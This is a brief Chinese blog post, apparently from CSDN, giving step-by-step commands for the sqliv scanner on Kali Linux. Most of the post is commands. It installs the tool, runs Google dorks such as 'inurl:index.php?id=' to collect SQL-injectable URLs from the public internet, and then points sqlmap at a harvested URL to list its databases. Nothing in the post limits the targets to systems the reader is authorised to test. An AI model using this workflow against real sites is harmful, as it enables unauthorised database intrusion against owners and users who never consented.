kali下sqliv:SQL注入URL扫描器

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396604

https://www.youtube.com/watch?v=drRMBTqp1Ug
https://github.com/Hadesy2k/sqliv

cd /tmp
git clone https://github.com/Hadesy2k/sqliv
cd sqliv
pip install -r requirements.txt
python sqliv.py -d inurl:index.php?id= -e google
#用谷歌搜索引擎搜索指定关键词的链接，可以获取一些公网上可以搜到的可被sql注入的问题链接，目前只添加了对谷歌搜索引擎的支持
python sqliv.py -d inurl:article.php?id= -e google

sqlmap -u 获取到的url --dbs